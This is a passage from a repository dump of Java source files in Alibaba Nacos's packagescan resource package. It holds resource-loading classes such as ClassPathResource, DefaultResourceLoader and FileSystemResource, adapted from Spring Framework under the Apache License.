getDoubleWildcards() {\n                return this.doubleWildcards;\n            }\n\n            public boolean isLeastSpecific() {\n                return (this.pattern == null || this.catchAllPattern);\n            }\n\n            public boolean isPrefixPattern() {\n                return this.prefixPattern;\n            }\n\n            public int getTotalCount() {\n                return this.uriVars + this.singleWildcards + (2 * this.doubleWildcards);\n            }\n\n            /**\n             * Returns the length of the given pattern, where template variables are considered to be 1 long.\n             */\n            public int getLength() {\n                if (this.length == null) {\n                    this.length = (this.pattern != null\n                            ? VARIABLE_PATTERN.matcher(this.pattern).replaceAll(\"#\").length() : 0);\n                }\n                return this.length;\n            }\n        }\n    }\n\n    /**\n     * A simple cache for patterns that depend on the configured path separator.\n     */\n    private static class PathSeparatorPatternCache {\n\n        private final String endsOnWildCard;\n\n        private final String endsOnDoubleWildCard;\n\n        public PathSeparatorPatternCache(String pathSeparator) {\n            this.endsOnWildCard = pathSeparator + \"*\";\n            this.endsOnDoubleWildCard = pathSeparator + \"**\";\n        }\n\n        public String getEndsOnWildCard() {\n            return this.endsOnWildCard;\n        }\n\n        public String getEndsOnDoubleWildCard() {\n            return this.endsOnDoubleWildCard;\n        }\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/ByteArrayResource.java",
    "content": "/*\n * Copyright 2002-2021 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\nimport com.alibaba.nacos.common.packagescan.util.AbstractAssert;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.Arrays;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * {@link Resource} implementation for a given byte array.\n *\n * <p>Creates a {@link ByteArrayInputStream} for the given byte array.\n *\n * <p>Useful for loading content from any given byte array,\n * without having to resort to a single-use {@link InputStreamResource}.\n * Particularly useful for creating mail attachments from local content,\n * where JavaMail needs to be able to read the stream multiple times.\n *\n * @author Juergen Hoeller\n * @author Sam Brannen\n * @see ByteArrayInputStream\n * @see InputStreamResource\n * @since 1.2.3\n */\npublic class ByteArrayResource extends AbstractResource {\n\n    private final byte[] byteArray;\n\n    private final String description;\n\n    /**\n     * Create a new {@code ByteArrayResource}.\n     *\n     * @param byteArray the byte array to wrap\n     */\n    public ByteArrayResource(byte[] byteArray) {\n        this(byteArray, \"resource loaded from byte array\");\n    }\n\n    /**\n     * Create a new {@code ByteArrayResource} with a description.\n     *\n     * @param byteArray   the byte array to wrap\n     * @param description where the byte array comes from\n     */\n    public ByteArrayResource(byte[] byteArray, String description) {\n        AbstractAssert.notNull(byteArray, \"Byte array must not be null\");\n        this.byteArray = byteArray;\n        this.description = (description != null ? description : \"\");\n    }\n\n    /**\n     * Return the underlying byte array.\n     */\n    public final byte[] getByteArray() {\n        return this.byteArray;\n    }\n\n    /**\n     * This implementation always returns {@code true}.\n     */\n    @Override\n    public boolean exists() {\n        return true;\n    }\n\n    /**\n     * This implementation returns the length of the underlying byte array.\n     */\n    @Override\n    public long contentLength() {\n        return this.byteArray.length;\n    }\n\n    /**\n     * This implementation returns a ByteArrayInputStream for the\n     * underlying byte array.\n     *\n     * @see ByteArrayInputStream\n     */\n    @Override\n    public InputStream getInputStream() throws IOException {\n        return new ByteArrayInputStream(this.byteArray);\n    }\n\n    /**\n     * This implementation returns a description that includes the passed-in\n     * {@code description}, if any.\n     */\n    @Override\n    public String getDescription() {\n        return \"Byte array resource [\" + this.description + \"]\";\n    }\n\n\n    /**\n     * This implementation compares the underlying byte array.\n     *\n     * @see Arrays#equals(byte[], byte[])\n     */\n    @Override\n    public boolean equals(Object other) {\n        return (this == other || (other instanceof ByteArrayResource\n                && Arrays.equals(((ByteArrayResource) other).byteArray, this.byteArray)));\n    }\n\n    /**\n     * This implementation returns the hash code based on the\n     * underlying byte array.\n     */\n    @Override\n    public int hashCode() {\n        return Arrays.hashCode(this.byteArray);\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/ClassPathResource.java",
    "content": "/*\n * Copyright 2002-2021 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\nimport com.alibaba.nacos.common.packagescan.util.AbstractObjectUtils;\nimport com.alibaba.nacos.common.packagescan.util.AbstractAssert;\nimport com.alibaba.nacos.common.utils.ClassUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.URL;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * {@link Resource} implementation for class path resources. Uses either a\n * given {@link ClassLoader} or a given {@link Class} for loading resources.\n *\n * <p>Supports resolution as {@code java.io.File} if the class path\n * resource resides in the file system, but not for resources in a JAR.\n * Always supports resolution as URL.\n *\n * @author Juergen Hoeller\n * @author Sam Brannen\n * @see ClassLoader#getResourceAsStream(String)\n * @see Class#getResourceAsStream(String)\n * @since 28.12.2003\n */\npublic class ClassPathResource extends AbstractFileResolvingResource {\n\n    private final String path;\n\n    private ClassLoader classLoader;\n\n    private Class<?> clazz;\n\n    /**\n     * Create a new {@code ClassPathResource} for {@code ClassLoader} usage.\n     * A leading slash will be removed, as the ClassLoader resource access\n     * methods will not accept it.\n     *\n     * <p>The thread context class loader will be used for\n     * loading the resource.\n     *\n     * @param path the absolute path within the class path\n     * @see ClassLoader#getResourceAsStream(String)\n     * @see ClassUtils#getDefaultClassLoader()\n     */\n    public ClassPathResource(String path) {\n        this(path, (ClassLoader) null);\n    }\n\n    /**\n     * Create a new {@code ClassPathResource} for {@code ClassLoader} usage.\n     * A leading slash will be removed, as the ClassLoader resource access\n     * methods will not accept it.\n     *\n     * @param path        the absolute path within the classpath\n     * @param classLoader the class loader to load the resource with,\n     *                    or {@code null} for the thread context class loader\n     * @see ClassLoader#getResourceAsStream(String)\n     */\n    public ClassPathResource(String path, ClassLoader classLoader) {\n        AbstractAssert.notNull(path, \"Path must not be null\");\n        String pathToUse = StringUtils.cleanPath(path);\n        if (pathToUse.startsWith(\"/\")) {\n            pathToUse = pathToUse.substring(1);\n        }\n        this.path = pathToUse;\n        this.classLoader = (classLoader != null ? classLoader : ClassUtils.getDefaultClassLoader());\n    }\n\n    /**\n     * Create a new {@code ClassPathResource} for {@code Class} usage.\n     * The path can be relative to the given class, or absolute within\n     * the classpath via a leading slash.\n     *\n     * @param path  relative or absolute path within the class path\n     * @param clazz the class to load resources with\n     * @see Class#getResourceAsStream\n     */\n    public ClassPathResource(String path, Class<?> clazz) {\n        AbstractAssert.notNull(path, \"Path must not be null\");\n        this.path = StringUtils.cleanPath(path);\n        this.clazz = clazz;\n    }\n\n    /**\n     * Create a new {@code ClassPathResource} with optional {@code ClassLoader}\n     * and {@code Class}. Only for internal usage.\n     *\n     * @param path        relative or absolute path within the classpath\n     * @param classLoader the class loader to load the resource with, if any\n     * @param clazz       the class to load resources with, if any\n     * @deprecated as of 4.3.13, in favor of selective use of\n     * {@link #ClassPathResource(String, ClassLoader)} vs {@link #ClassPathResource(String, Class)}\n     */\n    @Deprecated\n    protected ClassPathResource(String path, ClassLoader classLoader, Class<?> clazz) {\n        this.path = StringUtils.cleanPath(path);\n        this.classLoader = classLoader;\n        this.clazz = clazz;\n    }\n\n    /**\n     * Return the path for this resource (as resource path within the class path).\n     */\n    public final String getPath() {\n        return this.path;\n    }\n\n    /**\n     * Return the ClassLoader that this resource will be obtained from.\n     */\n\n    public final ClassLoader getClassLoader() {\n        return (this.clazz != null ? this.clazz.getClassLoader() : this.classLoader);\n    }\n\n\n    /**\n     * This implementation checks for the resolution of a resource URL.\n     *\n     * @see ClassLoader#getResource(String)\n     * @see Class#getResource(String)\n     */\n    @Override\n    public boolean exists() {\n        return (resolveUrl() != null);\n    }\n\n    /**\n     * This implementation checks for the resolution of a resource URL upfront,\n     * then proceeding with {@link AbstractFileResolvingResource}'s length check.\n     *\n     * @see ClassLoader#getResource(String)\n     * @see Class#getResource(String)\n     */\n    @Override\n    public boolean isReadable() {\n        URL url = resolveUrl();\n        return (url != null && checkReadable(url));\n    }\n\n    /**\n     * Resolves a URL for the underlying class path resource.\n     *\n     * @return the resolved URL, or {@code null} if not resolvable\n     */\n\n    protected URL resolveUrl() {\n        try {\n            if (this.clazz != null) {\n                return this.clazz.getResource(this.path);\n            } else if (this.classLoader != null) {\n                return this.classLoader.getResource(this.path);\n            } else {\n                return ClassLoader.getSystemResource(this.path);\n            }\n        } catch (IllegalArgumentException ex) {\n            // Should not happen according to the JDK's contract:\n            // see https://github.com/openjdk/jdk/pull/2662\n            return null;\n        }\n    }\n\n    /**\n     * This implementation opens an InputStream for the given class path resource.\n     *\n     * @see ClassLoader#getResourceAsStream(String)\n     * @see Class#getResourceAsStream(String)\n     */\n    @Override\n    public InputStream getInputStream() throws IOException {\n        InputStream is;\n        if (this.clazz != null) {\n            is = this.clazz.getResourceAsStream(this.path);\n        } else if (this.classLoader != null) {\n            is = this.classLoader.getResourceAsStream(this.path);\n        } else {\n            is = ClassLoader.getSystemResourceAsStream(this.path);\n        }\n        if (is == null) {\n            throw new FileNotFoundException(getDescription() + \" cannot be opened because it does not exist\");\n        }\n        return is;\n    }\n\n    /**\n     * This implementation returns a URL for the underlying class path resource,\n     * if available.\n     *\n     * @see ClassLoader#getResource(String)\n     * @see Class#getResource(String)\n     */\n    @Override\n    public URL getUrl() throws IOException {\n        URL url = resolveUrl();\n        if (url == null) {\n            throw new FileNotFoundException(getDescription() + \" cannot be resolved to URL because it does not exist\");\n        }\n        return url;\n    }\n\n    /**\n     * This implementation creates a ClassPathResource, applying the given path\n     * relative to the path of the underlying resource of this descriptor.\n     *\n     * @see StringUtils#applyRelativePath(String, String)\n     */\n    @Override\n    public Resource createRelative(String relativePath) {\n        String pathToUse = StringUtils.applyRelativePath(this.path, relativePath);\n        return (this.clazz != null ? new ClassPathResource(pathToUse, this.clazz) :\n                new ClassPathResource(pathToUse, this.classLoader));\n    }\n\n    /**\n     * This implementation returns the name of the file that this class path\n     * resource refers to.\n     *\n     * @see StringUtils#getFilename(String)\n     */\n    @Override\n\n    public String getFilename() {\n        return StringUtils.getFilename(this.path);\n    }\n\n    /**\n     * This implementation returns a description that includes the class path location.\n     */\n    @Override\n    public String getDescription() {\n        StringBuilder builder = new StringBuilder(\"class path resource [\");\n        String pathToUse = this.path;\n        if (this.clazz != null && !pathToUse.startsWith(\"/\")) {\n            builder.append(ClassUtils.classPackageAsResourcePath(this.clazz));\n            builder.append('/');\n        }\n        if (pathToUse.startsWith(\"/\")) {\n            pathToUse = pathToUse.substring(1);\n        }\n        builder.append(pathToUse);\n        builder.append(']');\n        return builder.toString();\n    }\n\n\n    /**\n     * This implementation compares the underlying class path locations.\n     */\n    @Override\n    public boolean equals(Object other) {\n        if (this == other) {\n            return true;\n        }\n        if (!(other instanceof ClassPathResource)) {\n            return false;\n        }\n        ClassPathResource otherRes = (ClassPathResource) other;\n        return (this.path.equals(otherRes.path)\n                && AbstractObjectUtils.nullSafeEquals(this.classLoader, otherRes.classLoader)\n                && AbstractObjectUtils.nullSafeEquals(this.clazz, otherRes.clazz));\n    }\n\n    /**\n     * This implementation returns the hash code of the underlying\n     * class path location.\n     */\n    @Override\n    public int hashCode() {\n        return this.path.hashCode();\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/ContextResource.java",
    "content": "/*\n * Copyright 2002-2007 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * Extended interface for a resource that is loaded from an enclosing\n * 'context', e.g. from a {@link jakarta.servlet.ServletContext} but also\n * from plain classpath paths or relative file system paths (specified\n * without an explicit prefix, hence applying relative to the local\n * {@link ResourceLoader}'s context).\n *\n * @author Juergen Hoeller\n * @since 2.5\n */\npublic interface ContextResource extends Resource {\n\n    /**\n     * Return the path within the enclosing 'context'.\n     *\n     * <p>This is typically path relative to a context-specific root directory,\n     * e.g. a ServletContext root or a PortletContext root.\n     */\n    String getPathWithinContext();\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/DefaultResourceLoader.java",
    "content": "/*\n * Copyright 2002-2020 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\nimport com.alibaba.nacos.common.packagescan.util.ResourceUtils;\nimport com.alibaba.nacos.common.packagescan.util.AbstractAssert;\nimport com.alibaba.nacos.common.utils.ClassUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.util.Collection;\nimport java.util.LinkedHashSet;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * Default implementation of the {@link ResourceLoader} interface.\n * Can also be used standalone.\n *\n * <p>Will return a {@link UrlResource} if the location value is a URL,\n * and a {@link ClassPathResource} if it is a non-URL path or a\n * \"classpath:\" pseudo-URL.\n *\n * @author Juergen Hoeller\n * @since 10.03.2004\n */\npublic class DefaultResourceLoader implements ResourceLoader {\n\n    private ClassLoader classLoader;\n\n    private final Set<ProtocolResolver> protocolResolvers = new LinkedHashSet<>(4);\n\n    private final Map<Class<?>, Map<Resource, ?>> resourceCaches = new ConcurrentHashMap<>(4);\n\n    /**\n     * Create a new DefaultResourceLoader.\n     *\n     * <p>ClassLoader access will happen using the thread context class loader\n     * at the time of actual resource access (since 5.3). For more control, pass\n     * a specific ClassLoader to {@link #DefaultResourceLoader(ClassLoader)}.\n     *\n     * @see Thread#getContextClassLoader()\n     */\n    public DefaultResourceLoader() {\n    }\n\n    /**\n     * Create a new DefaultResourceLoader.\n     *\n     * @param classLoader the ClassLoader to load class path resources with, or {@code null}\n     *                    for using the thread context class loader at the time of actual resource access\n     */\n    public DefaultResourceLoader(ClassLoader classLoader) {\n        this.classLoader = classLoader;\n    }\n\n    /**\n     * Specify the ClassLoader to load class path resources with, or {@code null}\n     * for using the thread context class loader at the time of actual resource access.\n     *\n     * <p>The default is that ClassLoader access will happen using the thread context\n     * class loader at the time of actual resource access (since 5.3).\n     */\n    public void setClassLoader(ClassLoader classLoader) {\n        this.classLoader = classLoader;\n    }\n\n    /**\n     * Return the ClassLoader to load class path resources with.\n     *\n     * <p>Will get passed to ClassPathResource's constructor for all\n     * ClassPathResource objects created by this resource loader.\n     *\n     * @see ClassPathResource\n     */\n    @Override\n\n    public ClassLoader getClassLoader() {\n        return (this.classLoader != null ? this.classLoader : ClassUtils.getDefaultClassLoader());\n    }\n\n    /**\n     * Register the given resolver with this resource loader, allowing for\n     * additional protocols to be handled.\n     *\n     * <p>Any such resolver will be invoked ahead of this loader's standard\n     * resolution rules. It may therefore also override any default rules.\n     *\n     * @see #getProtocolResolvers()\n     * @since 4.3\n     */\n    public void addProtocolResolver(ProtocolResolver resolver) {\n        AbstractAssert.notNull(resolver, \"ProtocolResolver must not be null\");\n        this.protocolResolvers.add(resolver);\n    }\n\n    /**\n     * Return the collection of currently registered protocol resolvers,\n     * allowing for introspection as well as modification.\n     *\n     * @since 4.3\n     */\n    public Collection<ProtocolResolver> getProtocolResolvers() {\n        return this.protocolResolvers;\n    }\n\n    /**\n     * Obtain a cache for the given value type, keyed by {@link Resource}.\n     *\n     * @param valueType the value type, e.g. an ASM {@code MetadataReader}\n     * @return the cache {@link Map}, shared at the {@code ResourceLoader} level\n     * @since 5.0\n     */\n    @SuppressWarnings(\"unchecked\")\n    public <T> Map<Resource, T> getResourceCache(Class<T> valueType) {\n        return (Map<Resource, T>) this.resourceCaches.computeIfAbsent(valueType, key -> new ConcurrentHashMap<>());\n    }\n\n    /**\n     * Clear all resource caches in this resource loader.\n     *\n     * @see #getResourceCache\n     * @since 5.0\n     */\n    public void clearResourceCaches() {\n        this.resourceCaches.clear();\n    }\n\n    @Override\n    public Resource getResource(String location) {\n        AbstractAssert.notNull(location, \"Location must not be null\");\n\n        for (ProtocolResolver protocolResolver : getProtocolResolvers()) {\n            Resource resource = protocolResolver.resolve(location, this);\n            if (resource != null) {\n                return resource;\n            }\n        }\n\n        if (location.startsWith(\"/\")) {\n            return getResourceByPath(location);\n        } else if (location.startsWith(CLASSPATH_URL_PREFIX)) {\n            return new ClassPathResource(location.substring(CLASSPATH_URL_PREFIX.length()), getClassLoader());\n        } else {\n            try {\n                // Try to parse the location as a URL...\n                URL url = new URL(location);\n                return (ResourceUtils.isFileUrl(url) ? new FileUrlResource(url) : new UrlResource(url));\n            } catch (MalformedURLException ex) {\n                // No URL -> resolve as resource path.\n                return getResourceByPath(location);\n            }\n        }\n    }\n\n    /**\n     * Return a Resource handle for the resource at the given path.\n     *\n     * <p>The default implementation supports class path locations. This should\n     * be appropriate for standalone implementations but can be overridden,\n     * e.g. for implementations targeted at a Servlet container.\n     *\n     * @param path the path to the resource\n     * @return the corresponding Resource handle\n     * @see ClassPathResource\n     */\n    protected Resource getResourceByPath(String path) {\n        return new ClassPathContextResource(path, getClassLoader());\n    }\n\n    /**\n     * ClassPathResource that explicitly expresses a context-relative path\n     * through implementing the ContextResource interface.\n     */\n    protected static class ClassPathContextResource extends ClassPathResource implements ContextResource {\n\n        public ClassPathContextResource(String path, ClassLoader classLoader) {\n            super(path, classLoader);\n        }\n\n        @Override\n        public String getPathWithinContext() {\n            return getPath();\n        }\n\n        @Override\n        public Resource createRelative(String relativePath) {\n            String pathToUse = StringUtils.applyRelativePath(getPath(), relativePath);\n            return new ClassPathContextResource(pathToUse, getClassLoader());\n        }\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/FileSystemResource.java",
    "content": "/*\n * Copyright 2002-2019 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\nimport com.alibaba.nacos.common.packagescan.util.AbstractAssert;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.net.URI;\nimport java.net.URL;\nimport java.nio.channels.FileChannel;\nimport java.nio.channels.ReadableByteChannel;\nimport java.nio.channels.WritableByteChannel;\nimport java.nio.file.FileSystem;\nimport java.nio.file.Files;\nimport java.nio.file.NoSuchFileException;\nimport java.nio.file.Path;\nimport java.nio.file.StandardOpenOption;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * {@link Resource} implementation for {@code java.io.File} and\n * {@code java.nio.file.Path} handles with a file system target.\n * Supports resolution as a {@code File} and also as a {@code URL}.\n * Implements the extended {@link WritableResource} interface.\n *\n * <p>Note: As of Spring Framework 5.0, this {@link Resource} implementation uses\n * NIO.2 API for read/write interactions. As of 5.1, it may be constructed with a\n * {@link Path} handle in which case it will perform all file system\n * interactions via NIO.2, only resorting to {@link File} on {@link #getFile()}.\n *\n * @author Juergen Hoeller\n * @see #FileSystemResource(String)\n * @see #FileSystemResource(File)\n * @see #FileSystemResource(Path)\n * @see File\n * @see Files\n * @since 28.12.2003\n */\npublic class FileSystemResource extends AbstractResource implements WritableResource {\n\n    private final String path;\n\n    private final File file;\n\n    private final Path filePath;\n\n    /**\n     * Create a new {@code FileSystemResource} from a file path.\n     *\n     * <p>Note: When building relative resources via {@link #createRelative},\n     * it makes a difference whether the specified resource base path here\n     * ends with a slash or not. In the case of \"C:/dir1/\", relative paths\n     * will be built underneath that root: e.g. relative path \"dir2\" &rarr;\n     * \"C:/dir1/dir2\". In the case of \"C:/dir1\", relative paths will apply\n     * at the same directory level: relative path \"dir2\" &rarr; \"C:/dir2\".\n     *\n     * @param path a file path\n     * @see #FileSystemResource(Path)\n     */\n    public FileSystemResource(String path) {\n        AbstractAssert.notNull(path, \"Path must not be null\");\n        this.path = StringUtils.cleanPath(path);\n        this.file = new File(path);\n        this.filePath = this.file.toPath();\n    }\n\n    /**\n     * Create a new {@code FileSystemResource} from a {@link File} handle.\n     *\n     * <p>Note: When building relative resources via {@link #createRelative},\n     * the relative path will apply <i>at the same directory level</i>:\n     * e.g. new File(\"C:/dir1\"), relative path \"dir2\" &rarr; \"C:/dir2\"!\n     * If you prefer to have relative paths built underneath the given root directory,\n     * use the {@link #FileSystemResource(String) constructor with a file path}\n     * to append a trailing slash to the root path: \"C:/dir1/\", which indicates\n     * this directory as root for all relative paths.\n     *\n     * @param file a File handle\n     * @see #FileSystemResource(Path)\n     * @see #getFile()\n     */\n    public FileSystemResource(File file) {\n        AbstractAssert.notNull(file, \"File must not be null\");\n        this.path = StringUtils.cleanPath(file.getPath());\n        this.file = file;\n        this.filePath = file.toPath();\n    }\n\n    /**\n     * Create a new {@code FileSystemResource} from a {@link Path} handle,\n     * performing all file system interactions via NIO.2 instead of {@link File}.\n     *\n     *  <p>In contrast to {@link PathResource}, this variant strictly follows the\n     * general {@link FileSystemResource} conventions, in particular in terms of\n     * path cleaning and {@link #createRelative(String)} handling.\n     *\n     * <p>Note: When building relative resources via {@link #createRelative},\n     * the relative path will apply <i>at the same directory level</i>:\n     * e.g. Paths.get(\"C:/dir1\"), relative path \"dir2\" &rarr; \"C:/dir2\"!\n     * If you prefer to have relative paths built underneath the given root directory,\n     * use the {@link #FileSystemResource(String) constructor with a file path}\n     * to append a trailing slash to the root path: \"C:/dir1/\", which indicates\n     * this directory as root for all relative paths. Alternatively, consider\n     * using {@link PathResource#PathResource(Path)} for {@code java.nio.path.Path}\n     * resolution in {@code createRelative}, always nesting relative paths.\n     *\n     * @param filePath a Path handle to a file\n     * @see #FileSystemResource(File)\n     * @since 5.1\n     */\n    public FileSystemResource(Path filePath) {\n        AbstractAssert.notNull(filePath, \"Path must not be null\");\n        this.path = StringUtils.cleanPath(filePath.toString());\n        this.file = null;\n        this.filePath = filePath;\n    }\n\n    /**\n     * Create a new {@code FileSystemResource} from a {@link FileSystem} handle,\n     * locating the specified path.\n     *\n     * <p>This is an alternative to {@link #FileSystemResource(String)},\n     * performing all file system interactions via NIO.2 instead of {@link File}.\n     *\n     * @param fileSystem the FileSystem to locate the path within\n     * @param path       a file path\n     * @see #FileSystemResource(File)\n     * @since 5.1.1\n     */\n    public FileSystemResource(FileSystem fileSystem, String path) {\n        AbstractAssert.notNull(fileSystem, \"FileSystem must not be null\");\n        AbstractAssert.notNull(path, \"Path must not be null\");\n        this.path = StringUtils.cleanPath(path);\n        this.file = null;\n        this.filePath = fileSystem.getPath(this.path).normalize();\n    }\n\n    /**\n     * Return the file path for this resource.\n     */\n    public final String getPath() {\n        return this.path;\n    }\n\n    /**\n     * This implementation returns whether the underlying file exists.\n     *\n     * @see File#exists()\n     */\n    @Override\n    public boolean exists() {\n        return (this.file != null ? this.file.exists() : Files.exists(this.filePath));\n    }\n\n    /**\n     * This implementation checks whether the underlying file is marked as readable\n     * (and corresponds to an actual file with content, not to a directory).\n     *\n     * @see File#canRead()\n     * @see File#isDirectory()\n     */\n    @Override\n    public boolean isReadable() {\n        return (this.file != null ? this.file.canRead() && !this.file.isDirectory() :\n                Files.isReadable(this.filePath) && !Files.isDirectory(this.filePath));\n    }\n\n    /**\n     * This implementation opens a NIO file stream for the underlying file.\n     *\n     * @see java.io.FileInputStream\n     */\n    @Override\n    public InputStream getInputStream() throws IOException {\n        try {\n            return Files.newInputStream(this.filePath);\n        } catch (NoSuchFileException ex) {\n            throw new FileNotFoundException(ex.getMessage());\n        }\n    }\n\n    /**\n     * This implementation checks whether the underlying file is marked as writable\n     * (and corresponds to an actual file with content, not to a directory).\n     *\n     * @see File#canWrite()\n     * @see File#isDirectory()\n     */\n    @Override\n    public boolean isWritable() {\n        return (this.file != null ? this.file.canWrite() && !this.file.isDirectory() :\n                Files.isWritable(this.filePath) && !Files.isDirectory(this.filePath));\n    }\n\n    /**\n     * This implementation opens a FileOutputStream for the underlying file.\n     *\n     * @see java.io.FileOutputStream\n     */\n    @Override\n    public OutputStream getOutputStream() throws IOException {\n        return Files.newOutputStream(this.filePath);\n    }\n\n    /**\n     * This implementation returns a URL for the underlying file.\n     *\n     * @see File#toURI()\n     */\n    @Override\n    public URL getUrl() throws IOException {\n        return (this.file != null ? this.file.toURI().toURL() : this.filePath.toUri().toURL());\n    }\n\n    /**\n     * This implementation returns a URI for the underlying file.\n     *\n     * @see File#toURI()\n     */\n    @Override\n    public URI getUri() throws IOException {\n        return (this.file != null ? this.file.toURI() : this.filePath.toUri());\n    }\n\n    /**\n     * This implementation always indicates a file.\n     */\n    @Override\n    public boolean isFile() {\n        return true;\n    }\n\n    /**\n     * This implementation returns the underlying File reference.\n     */\n    @Override\n    public File getFile() {\n        return (this.file != null ? this.file : this.filePath.toFile());\n    }\n\n    /**\n     * This implementation opens a FileChannel for the underlying file.\n     *\n     * @see FileChannel\n     */\n    @Override\n    public ReadableByteChannel readableChannel() throws IOException {\n        try {\n            return FileChannel.open(this.filePath, StandardOpenOption.READ);\n        } catch (NoSuchFileException ex) {\n            throw new FileNotFoundException(ex.getMessage());\n        }\n    }\n\n    /**\n     * This implementation opens a FileChannel for the underlying file.\n     *\n     * @see FileChannel\n     */\n    @Override\n    public WritableByteChannel writableChannel() throws IOException {\n        return FileChannel.open(this.filePath, StandardOpenOption.WRITE);\n    }\n\n    /**\n     * This implementation returns the underlying File/Path length.\n     */\n    @Override\n    public long contentLength() throws IOException {\n        if (this.file != null) {\n            long length = this.file.length();\n            if (length == 0L && !this.file.exists()) {\n                throw new FileNotFoundException(getDescription()\n                        + \" cannot be resolved in the file system for checking its content length\");\n            }\n            return length;\n        } else {\n            try {\n                return Files.size(this.filePath);\n            } catch (NoSuchFileException ex) {\n                throw new FileNotFoundException(ex.getMessage());\n            }\n        }\n    }\n\n    /**\n     * This implementation returns the underlying File/Path last-modified time.\n     */\n    @Override\n    public long lastModified() throws IOException {\n        if (this.file != null) {\n            return super.lastModified();\n        } else {\n            try {\n                return Files.getLastModifiedTime(this.filePath).toMillis();\n            } catch (NoSuchFileException ex) {\n                throw new FileNotFoundException(ex.getMessage());\n            }\n        }\n    }\n\n    /**\n     * This implementation creates a FileSystemResource, applying the given path\n     * relative to the path of the underlying file of this resource descriptor.\n     *\n     * @see StringUtils#applyRelativePath(String, String)\n     */\n    @Override\n    public Resource createRelative(String relativePath) {\n        String pathToUse = StringUtils.applyRelativePath(this.path, relativePath);\n        return (this.file != null ? new FileSystemResource(pathToUse) :\n                new FileSystemResource(this.filePath.getFileSystem(), pathToUse));\n    }\n\n    /**\n     * This implementation returns the name of the file.\n     *\n     * @see File#getName()\n     */\n    @Override\n    public String getFilename() {\n        return (this.file != null ? this.file.getName() : this.filePath.getFileName().toString());\n    }\n\n    /**\n     * This implementation returns a description that includes the absolute\n     * path of the file.\n     *\n     * @see File#getAbsolutePath()\n     */\n    @Override\n    public String getDescription() {\n        return \"file [\" + (this.file != null ? this.file.getAbsolutePath() : this.filePath.toAbsolutePath()) + \"]\";\n    }\n\n\n    /**\n     * This implementation compares the underlying File references.\n     */\n    @Override\n    public boolean equals(Object other) {\n        return (this == other || (other instanceof FileSystemResource\n                && this.path.equals(((FileSystemResource) other).path)));\n    }\n\n    /**\n     * This implementation returns the hash code of the underlying File reference.\n     */\n    @Override\n    public int hashCode() {\n        return this.path.hashCode();\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/FileUrlResource.java",
